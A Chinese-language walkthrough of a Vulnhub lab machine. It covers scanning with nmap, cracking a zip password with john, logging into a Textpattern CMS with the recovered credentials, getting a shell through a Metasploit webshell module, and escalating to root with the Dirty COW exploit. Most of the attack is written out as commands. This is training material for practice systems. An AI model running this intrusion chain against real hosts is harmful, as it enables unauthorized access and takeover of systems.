在Vulnhub做的第一台,记录一下。
靶机地址在此
信息收集
kali里使用netdiscover
发现主机
靶机地址为
192.168.3.119
nmap扫描查看服务
输入
nmap -sS -sV -A 192.168.3.119
由截图可见只开了一个80端口,根节点里有robots.txt文件,查看robots.txt
由截图可知robots协议禁止了爬虫爬取网站的
/textpattern/textpattern/
目录,既然它禁止了,那我们就打开看一下吧,发现是一个cms:另外,robots协议还提醒了我们暴力破解目录路径时不要忘记了.zip文件,那看来某个zip文件有彩蛋。
攻击
目录爆破之:
spammer是一个zip文件,url打开可下载
解密这个文件发现需要密码
爆破zip
执行
zip2john spammer.zip >> passwd.txt
然后再执行:
john passwd.txt
得到密码是:myspace4
用密码打开zip文件里面的creds.txt,得到mayer:lionheart
,看上去应该是账号密码,用这个账号登录上面的cms,成功登录。
找到files模块,是一个上传模块
上传测试文件以及webshell,我用了msf里的菜刀
use exploit/multi/http/caidao_php_backdoor_exec
拿到meterpreter:
提权
因为是一个www-data账户,需要升级到root权限。查看靶机内核信息:
在exploit-db寻找内核漏洞,第一条显示有脏牛漏洞
根据url里的40839在kali里查找这个攻击脚本
执行
searchsploit 40839
在meterpreter里把这个攻击脚本上传到靶机,这个时候一般要上传到一个可写的文件夹,然而我们当前的文件夹就是可写的,所以上传到当前文件夹就可以,执行
upload /usr/share/exploitdb/exploits/linux/local/40839.c ./40839.c
攻击文件的注释里一般有编译方法,查看
例子:
gcc -pthread dirty.c -o dirty -lcrypt
靶机执行:
gcc -pthread 40839.c -o 40839 -lcrypt
为了保险给777权限:
chmod 777 40839
最后执行:
./40839
会要求你输入一个新的密码:
这个脚本会把root换成一个
firefart
的账号,这个账号就是root,密码就是上面输入的密码。但是在这个shell里是不能够用su切换账户的,需要使用到tty(即Terminal)
关于tty,点击这里
tty根据靶机的实际环境有各种方法切换,这里有详细介绍
我们用第一条python执行
python -c 'import pty; pty.spawn("/bin/sh")'
拿到flag
总结
这台靶机的攻击很简单,但是提权我做了很久,总结一些经验:
1,一定要查看提权脚本的注释,知道脚本的大概逻辑。
2,c文件最好在靶机编译,不要在攻击机编译完再upload上去。
3,给777权限,不然可能会有坑。